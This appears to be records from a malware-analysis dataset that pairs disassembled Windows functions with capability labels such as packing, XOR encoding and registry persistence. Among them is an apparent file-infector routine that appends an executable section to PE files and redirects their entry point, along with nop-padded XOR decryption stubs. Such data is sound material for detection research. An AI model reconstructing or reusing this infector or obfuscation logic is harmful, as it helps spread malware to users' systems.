joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40167f
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
pushal
push 0
push 0x80
push 3
push 0
push 3
push 0xc0000000
push dword [ebp + 8]
mov eax, 0x75fd3a80
call eax
cmp eax, 0xffffffff
je 0x401803
mov dword [ebp - 4], eax
push 0
push 0
push 0
push 4
push 0
push dword [ebp - 4]
mov eax, 0x75fc6d80
call eax
or eax, eax
je 0x4017fa
mov dword [ebp - 8], eax
push 0
push 0
push 0
push 6
push dword [ebp - 8]
mov eax, 0x75fc7b30
call eax
or eax, eax
je 0x4017f1
mov dword [ebp - 0xc], eax
mov esi, eax
cmp word [esi], 0x5a4d
je 0x4016f8
jmp 0x4017e7
cmp word [esi + 0x18], 0x40
je 0x401704
jmp 0x4017e7
add esi, dword [esi + 0x3c]
cmp dword [esi], 0x4550
je 0x401714
jmp 0x4017e7
cmp word [esi + 0x5c], 2
je 0x401720
jmp 0x4017e7
cmp word [esi + 0x1a], 0x815
jne 0x40172d
jmp 0x4017e7
mov eax, dword [esi + 0x28]
add eax, dword [esi + 0x34]
mov dword [ebx + 0x405645], eax
movzx eax, word [esi + 6]
mov ecx, 0x28
mul ecx
lea edi, [esi]
sub edi, dword [ebp - 0xc]
add eax, edi
add eax, 0x18
movzx edi, word [esi + 0x14]
add eax, edi
mov edi, eax
add edi, dword [ebp - 0xc]
add eax, 0x28
cmp eax, dword [esi + 0x54]
jbe 0x401766
jmp 0x4017e7
inc word [esi + 6]
mov dword [edi], 0x736a78
push dword [esi + 0x50]
pop dword [edi + 0xc]
mov eax, 0x1a4a
mov dword [edi + 8], eax
mov ecx, dword [esi + 0x3c]
div ecx
inc eax
mul ecx
mov dword [edi + 0x10], eax
lea eax, [edi - 0x14]
mov eax, dword [eax]
lea ecx, [edi - 0x18]
mov ecx, dword [ecx]
add eax, ecx
mov dword [edi + 0x14], eax
mov dword [edi + 0x24], 0xe0000020
mov eax, dword [edi + 8]
mov ecx, dword [esi + 0x38]
div ecx
inc eax
mul ecx
add eax, dword [esi + 0x50]
mov dword [esi + 0x50], eax
mov eax, dword [edi + 0xc]
mov dword [esi + 0x28], eax
mov word [esi + 0x1a], 0x815
push 0
push 0
push dword [edi + 0x14]
push dword [ebp - 4]
mov eax, 0x75fd3ec0
call eax
push 0
lea eax, [ebp - 0x10]
push eax
push dword [edi + 0x10]
lea eax, [ebx + 0x404000]
push eax
push dword [ebp - 4]
mov eax, 0x75fd3f20
call eax
push dword [ebp - 0xc]
mov eax, 0x75fc89a0
call eax
push dword [ebp - 8]
call dword [ebx + 0x405593]
push dword [ebp - 4]
call dword [ebx + 0x405593]
popal
leave
ret 4
Function at 0x40199b
Capabilities:
Encode data using base64

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffffc
xor ecx, ecx
mov dword [ebp - 4], ecx
cld

Function at 0x41cee0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x1a000]
push edi
or ebp, 0xffffffff
jmp 0x41cf02
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x41cf09
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x41cef8
mov eax, 1
add ebx, ebx
jne 0x41cf1b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x41cf10
jne 0x41cf2c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x41cf10
xor ecx, ecx
sub eax, 3
jb 0x41cf40
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x41cfb2
mov ebp, eax
add ebx, ebx
jne 0x41cf4b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x41cf58
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x41cf7c
inc ecx
add ebx, ebx
jne 0x41cf68
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x41cf5d
jne 0x41cf79
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x41cf5d
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x41cf9c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x41cf8d
jmp 0x41cefe
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x41cf9c
add edi, ecx
jmp 0x41cefe
pop esi
mov edi, esi
mov ecx, 0x157
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x41cfba
cmp byte [edi], 0
jne 0x41cfba
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov eax, ebx
loop 0x41cfbf
lea edi, [esi + 0x1a000]
mov eax, dword [edi]
or eax, eax
je 0x41d02e
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x1d0b0]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x1d100]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x41cfec
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x1d104]
or eax, eax
je 0x41d028
mov dword [ebx], eax
add ebx, 4
jmp 0x41d009
call dword [esi + 0x1d108]
popal
jmp 0x403ab4
Function at 0x42e006
Capabilities:
Encode data using xor

Disassembly:
mov eax, section..text
nop
mov ebx, 0x407ef8
nop
mov ecx, 0x7d75758d
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x42e04e
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
cmp eax, ebx
nop
nop
nop
nop
jne 0x42e024
nop
nop
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x42cd70
mov ecx, 0x274818a6
nop
nop
test eax, eax
nop
nop
nop
nop
nop
nop
nop
je 0x42e084
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
nop
jne 0x42e06c
popal
nop
nop
nop
nop
nop
jmp 0x401219
Function at 0x40b4ab
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x418bc0]
jne 0x40b4b5
repz ret
jmp fcn.00413dcf

Function at 0x413444
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x418bc0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.0040743a
and dword [ebp - 0x14], 0
cmp dword [0x44ed7c], 0
mov dword [ebp - 0x18], eax
jne 0x4134f7
push 0x403364
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x41359f
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x403358
push ebx
call edi
test eax, eax
je 0x41359f
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push 0x403348
push ebx
mov dword [0x44ed7c], eax
call edi
push eax
call esi
push 0x403334
push ebx
mov dword [0x44ed80], eax
call edi
push eax
call esi
push 0x403318
push ebx
mov dword [0x44ed84], eax
call edi
push eax
call esi
mov dword [0x44ed8c], eax
test eax, eax
je 0x4134f7
push 0x403300
push ebx
call edi
push eax
call esi
mov dword [0x44ed88], eax
mov eax, dword [0x44ed88]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x413550
cmp dword [0x44ed8c], ecx
je 0x413550
push eax
call esi
push dword [0x44ed8c]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x413550
test ebx, ebx
je 0x413550
call edi
test eax, eax
je 0x413547
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x413547
test byte [ebp - 8], 1
jne 0x413550
or dword [ebp + 0x10], 0x200000
jmp 0x413583
mov eax, dword [0x44ed80]
cmp eax, dword [ebp - 0x18]
je 0x413583
push eax
call esi
test eax, eax
je 0x413583
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x413583
mov eax, dword [0x44ed84]
cmp eax, dword [ebp - 0x18]
je 0x413583
push eax
call esi
test eax, eax
je 0x413583
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x44ed7c]
call esi
test eax, eax
je 0x41359f
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x4135a1
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040b4ab
leave
ret
Function at 0x4151c0
Capabilities:
Access the windows event log
Delete directory
Delete file
Get disk information
Manipulate console buffer

Disassembly:
mov eax, 0x1004
call fcn.00413c40
cmp dword [0x7ea034], 0x37
jne 0x415269
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateA]
push 0
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0
lea eax, [esp + 8]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 0
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
lea ecx, [esp]
push ecx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteConsoleInputA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EraseTape]
push 0
call dword [sym.imp.KERNEL32.dll_SetEvent]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_ReportEventA]
push 0
lea edx, [esp + 0x808]
push edx
push 0x403490
call dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointW]
mov eax, dword [0x7ea448]
mov edx, dword [0x7e9b18]
mov cl, byte [eax + esi + 0x38d6]
mov byte [edx + esi], cl
add esp, 0x1004
ret
Function at 0x425685
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.0041e6cf
and dword [ebp - 4], 0
cmp dword [0x4501f0], 0
mov ebx, eax
jne 0x425736
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x4257e7
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x4257e7
push eax
call fcn.0041e65d
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x4501f0], eax
call esi
push eax
call fcn.0041e65d
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x4501f4], eax
call esi
push eax
call fcn.0041e65d
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x4501f8], eax
call esi
push eax
call fcn.0041e65d
pop ecx
mov dword [0x450200], eax
test eax, eax
je 0x425736
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.0041e65d
pop ecx
mov dword [0x4501fc], eax
mov eax, dword [0x4501fc]
cmp eax, ebx
je 0x42578e
cmp dword [0x450200], ebx
je 0x42578e
push eax
call fcn.0041e6d8
push dword [0x450200]
mov esi, eax
call fcn.0041e6d8
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x42578e
test edi, edi
je 0x42578e
call esi
test eax, eax
je 0x425785
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x425785
test byte [ebp - 0xc], 1
jne 0x42578e
or dword [ebp + 0x10], 0x200000
jmp 0x4257c7
mov eax, dword [0x4501f4]
cmp eax, ebx
je 0x4257c7
push eax
call fcn.0041e6d8
pop ecx
test eax, eax
je 0x4257c7
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x4257c7
mov eax, dword [0x4501f8]
cmp eax, ebx
je 0x4257c7
push eax
call fcn.0041e6d8
pop ecx
test eax, eax
je 0x4257c7
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x4501f0]
call fcn.0041e6d8
pop ecx
test eax, eax
je 0x4257e7
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x4257e9
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x42e001
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
mov eax, section..rdata
nop
nop
mov ebx, 0x407ef8
mov ecx, 0x59cf2985
nop
nop
nop
nop
nop
test eax, eax
nop
je 0x42e04e
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x42e024
nop
nop
mov eax, section..data
nop
nop
mov ebx, 0x42cd70
mov ecx, 0x3bfd2563
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x42e084
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
add eax, 4
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x42e06c
popal
nop
nop
nop
nop
nop
jmp 0x401219
Function at 0x476370
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x53000]
push edi
or ebp, 0xffffffff
jmp 0x476392
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x476399
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x476388
mov eax, 1
add ebx, ebx
jne 0x4763ab
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x4763bc
jne 0x4763db
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4763db
dec eax
add ebx, ebx
jne 0x4763c8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x4763a0
add ebx, ebx
jne 0x4763d7
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x47642d
xor ecx, ecx
sub eax, 3
jb 0x4763f3
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x476462
sar eax, 1
mov ebp, eax
jmp 0x4763fe
add ebx, ebx
jne 0x4763fe
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4763cc
inc ecx
add ebx, ebx
jne 0x47640c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4763cc
add ebx, ebx
jne 0x476419
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x47640e
jne 0x47642a
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x47640e
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x47644c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x47643e
jmp 0x47638e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x47644c
add edi, ecx
jmp 0x47638e
pop esi
mov edi, esi
mov ecx, 0xcd2
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x47646a
cmp byte [edi], 5
jne 0x47646a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x47646f
lea edi, [esi + 0x74000]
mov eax, dword [edi]
or eax, eax
je 0x4764de
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x90164]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x901f0]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x47649c
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x901f4]
or eax, eax
je 0x4764d8
mov dword [ebx], eax
add ebx, 4
jmp 0x4764b9
call dword [esi + 0x90204]
mov ebp, dword [esi + 0x901f8]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x217]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x476512
sub esp, 0xffffff80
jmp 0x4080ce
Function at 0x1001b68
Capabilities:
Shutdown system

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
lea eax, [ebp - 4]
push esi
push eax
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x1001b94
xor esi, esi
push esi
push 0x10
push esi
push esi
push 0x4f5
jmp 0x1001beb
lea eax, [ebp - 0x10]
xor esi, esi
push eax
push 0x10012e8
push esi
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
push esi
push esi
lea eax, [ebp - 0x14]
push esi
push eax
push esi
push dword [ebp - 4]
mov dword [ebp - 0x14], 1
mov dword [ebp - 8], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
push esi
jne 0x1001bd5
push 0x10
push esi
push esi
push 0x4f6
jmp 0x1001beb
push 2
call dword [sym.imp.USER32.dll_ExitWindowsEx]
test eax, eax
jne 0x1001bf5
push esi
push 0x10
push esi
push esi
push 0x4f7
push esi
call fcn.01003cb8
xor eax, eax
jmp 0x1001bf8
push 1
pop eax
pop esi
leave
ret

Function at 0x1001c57
Capabilities:
Delete registry value
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
push ecx
cmp byte [0x100a300], 0
je 0x1001c9a
lea eax, [ebp - 4]
push eax
push 0x20006
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionRunOnce
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1001c9a
push 0x100a300
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
leave
ret
Function at 0x1001e91
Capabilities:
Get common file path
Persist via run registry key
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x344
push ebx
xor ebx, ebx
cmp byte [0x100a300], bl
je 0x1001f89
lea eax, [ebp - 4]
push eax
push 0x2001f
push ebx
push str.SoftwareMicrosoftWindowsCurrentVersionRunOnce
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1001f89
lea eax, [ebp - 8]
push esi
push eax
lea eax, [ebp - 0x344]
push eax
push ebx
mov esi, 0x100a300
push ebx
push esi
mov dword [ebp - 8], 0x238
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x1001f7f
mov al, byte [0x10012c4]
push edi
push 0x40
mov byte [ebp - 0x10c], al
pop ecx
xor eax, eax
lea edi, [ebp - 0x10b]
push 0x104
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
test eax, eax
je 0x1001f3a
lea eax, [ebp - 0x10c]
push 0x10012c4
push eax
call fcn.01005a4d
lea eax, [ebp - 0x10c]
push 0x100ae84
push eax
lea eax, [ebp - 0x344]
push str.rundll32.exe__sadvpack.dll_DelNodeRunDLL32___s_
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea eax, [ebp - 0x344]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
push eax
lea eax, [ebp - 0x344]
push eax
push 1
push ebx
push esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
pop edi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop esi
pop ebx
leave
ret

Function at 0x10020f2
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
push esi
push edi
lea eax, [ebp - 0x104]
push 0x104
push eax
xor edi, edi
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
test eax, eax
je 0x100214f
lea eax, [ebp - 0x104]
push 0x1001324
push eax
call fcn.01005a4d
lea eax, [ebp - 0x104]
push 0x40
push eax
call dword [sym.imp.KERNEL32.dll__lopen]
mov esi, eax
cmp esi, 0xffffffff
je 0x100214f
push 2
push edi
push esi
call dword [sym.imp.KERNEL32.dll__llseek]
push esi
mov edi, eax
call dword [sym.imp.KERNEL32.dll__lclose]
mov eax, edi
pop edi
pop esi
leave
ret

Function at 0x1002155
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
lea eax, [ebp + 8]
push esi
xor esi, esi
push eax
push 0x20019
push esi
push dword [ebp + 8]
mov dword [ebp - 4], esi
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x100219e
lea eax, [ebp - 4]
push eax
push esi
push esi
push esi
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x1002195
mov dword [ebp - 4], esi
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 4]
pop esi
leave
ret 8
Function at 0x4026c4
Capabilities:
Accept command line arguments

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffef8
mov ebx, edx
mov esi, eax
mov eax, ebx
call fcn.0040311c
test esi, esi
jne 0x4026fa
push 0x105
lea eax, [esp + 4]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
mov ecx, eax
mov edx, esp
mov eax, ebx
call fcn.004031e0
jmp 0x402718
call sub.kernel32.dll_GetCommandLineA
mov edi, eax
mov edx, ebx
mov eax, edi
call fcn.004025d8
mov edi, eax
test esi, esi
je 0x402718
cmp dword [ebx], 0
je 0x402718
dec esi
jmp 0x402701
add esp, 0x108
pop edi
pop esi
pop ebx
ret

Function at 0x4028c0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [0x40b014]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x402958
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x402938
xor eax, eax
push ebp
push 0x402931
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x402974
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x402938
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
ret
mov ax, word [0x40b014]
and ax, 0xffc0
mov dx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [0x40b014], ax
mov esp, ebp
pop ebp
ret

Function at 0x402fa0
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x40c034], 0
je 0x403001
cmp word [0x40c208], 0xd7b2
jne 0x402fc9
cmp dword [0x40c210], 0
jbe 0x402fc9
mov eax, 0x40c204
call dword [0x40c220]
push 0
lea eax, [esp + 4]
push eax
push 0x1e
push 0x40b05c
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x403028
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
pop edx
ret
cmp byte [0x40b020], 0
jne 0x40301d
push 0
push 0x40b054
push 0x40b05c
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret

Function at 0x403f3c
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
xor edx, edx
mov dword [ebp - 0x10], edx
xor edx, edx
push ebp
push 0x403fa2
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 0xb]
push edx
push 0x1004
push eax
call sub.kernel32.dll_GetLocaleInfoA
lea eax, [ebp - 0x10]
lea edx, [ebp - 0xb]
mov ecx, 7
call fcn.00403318
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 4]
call fcn.004027b4
mov ebx, eax
cmp dword [ebp - 4], 0
je 0x403f8c
xor ebx, ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x403fa9
lea eax, [ebp - 0x10]
call fcn.0040311c
ret
Function at 0x404e74
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 4], ebx
xor ebx, ebx
mov dword [0x40c68c], ebx
xor ebx, ebx
mov dword [0x40c688], ebx
mov dword [0x40c678], eax
mov dword [0x40c67c], edx
cmp dword [0x40c678], 0
je 0x404f5d
mov eax, dword [0x40c678]
mov dword [ecx], eax
mov edi, dword [0x40c678]
mov ax, word [edi]
not ax
cmp ax, 0x5a4d
je 0x404f5d
mov esi, dword [edi + 0x3c]
add esi, edi
push 0xf8
push esi
call sub.kernel32.dll_IsBadReadPtr
test eax, eax
jne 0x404f5d
cmp dword [esi], 0x4550
jne 0x404f5d
mov eax, esi
call fcn.00404e5c
test al, al
jne 0x404f5d
mov ebx, esi
add ebx, 0xf8
mov ax, word [esi + 6]
cmp ax, 0x64
jae 0x404f5d
movzx eax, ax
dec eax
test eax, eax
jl 0x404f5d
inc eax
mov esi, eax
mov edx, 0x404f68
mov eax, ebx
mov ecx, 8
call fcn.004045bc
test eax, eax
jne 0x404f57
mov eax, dword [ebx + 0x14]
add eax, edi
mov dword [0x40c680], eax
mov eax, dword [0x40c680]
call fcn.00404e5c
test al, al
jne 0x404f5d
mov eax, dword [0x40c680]
mov dword [ebp - 4], eax
mov eax, dword [ebx + 0xc]
mov dword [0x40c684], eax
mov eax, dword [ebp + 8]
mov edx, dword [0x40c684]
mov dword [eax], edx
jmp 0x404f5d
add ebx, 0x28
dec esi
jne 0x404f0d
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
pop ecx
pop ebp
ret 4